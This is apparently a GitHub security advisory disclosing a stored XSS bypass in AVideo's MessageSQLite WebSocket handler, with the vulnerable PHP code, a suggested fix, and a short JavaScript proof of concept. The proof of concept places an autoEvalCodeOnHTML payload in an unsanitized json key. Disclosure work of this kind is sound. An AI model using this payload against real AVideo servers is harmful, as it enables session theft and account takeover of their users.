GHSA-2fhx-q92v-5fhv WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)

• Packagist wwbn/avideo: <= 29.0 (no fix yet)

AVideo: Stored XSS via `autoEvalCodeOnHTML` in MessageSQLite WebSocket Handler Summary AVideo has a stored XSS vulnerability in the WebSocket messaging system. The `MessageSQLite.php` handler only strips `autoEvalCodeOnHTML` from `$json['msg']`, but `msgToResourceId()` reads from `$msg['json']` with higher priority. An attacker can place the XSS payload in the `json` key instead of `msg`, bypassing the sanitization entirely. Affected Versions AVideo isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') { if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); // Only strips from $json['msg'] } } ``` `plugin/YPTSocket/MessageSQLite.php` lines 361-367 — the bypass via `msgToResourceId()`: ```php if (!empty($msg['json'])) { $obj['msg'] = $msg['json']; // $msg['json']['autoEvalCodeOnHTML'] is NEVER stripped } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // Only this path was sanitized } else { $obj['msg'] = $msg; } ``` Compare with the correctly patched `Message.php` (lines 254-256): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Strips from ALL nested paths ``` And `MessageSQLiteV2.php` (lines 302-303): ```php $json = removeAutoEvalCodeOnHTMLRecursive($json); // Same recursive fix ``` `MessageSQLite.php` does not call `removeAutoEvalCodeOnHTMLRecursive()` at all. Attack Chain • Attacker sends a WebSocket message with `autoEvalCodeOnHTML` in the `json` key instead of `msg` • The fix at line 268-271 only checks `$json['msg']` — the `json` key is untouched • `msgToResourceId()` reads `$msg['json']` first (line 361) because `!empty($msg['json'])` is true • The payload is delivered to the victim's WebSocket client and evaluated via `autoEvalCodeOnHTML` Proof of Concept ```javascript // Connect to AVideo WebSocket as authenticated user const ws = new WebSocket('wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN'); ws.onopen = () => { ws.send(JSON.stringify({ msg: "Hello", // sanitized path — decoy json: {autoEvalCodeOnHTML: "alert('XSS')"}, // unsanitized path — payload to_users_id: VICTIM_USER_ID, resourceId: RESOURCE_ID })); }; // Victim's client evaluates alert('XSS') via autoEvalCodeOnHTML mechanism ``` Impact An authenticated attacker can: • Execute arbitrary JavaScript in any connected user's browser session via the WebSocket messaging system • Steal session cookies and authentication tokens • Perform account takeover via session hijacking • Chain with CSRF to execute admin actions on behalf of the victim The vulnerability affects the default SQLite WebSocket backend configuration. Suggested Remediation Apply `removeAutoEvalCodeOnHTMLRecursive()` in `MessageSQLite.php`, consistent with `Message.php` and `MessageSQLiteV2.php`: ```php // Before (vulnerable — shallow strip): if (is_array($json['msg'] ?? null)) { unset($json['msg']['autoEvalCodeOnHTML']); } // After (fixed — recursive strip): $json = removeAutoEvalCodeOnHTMLRecursive($json); ```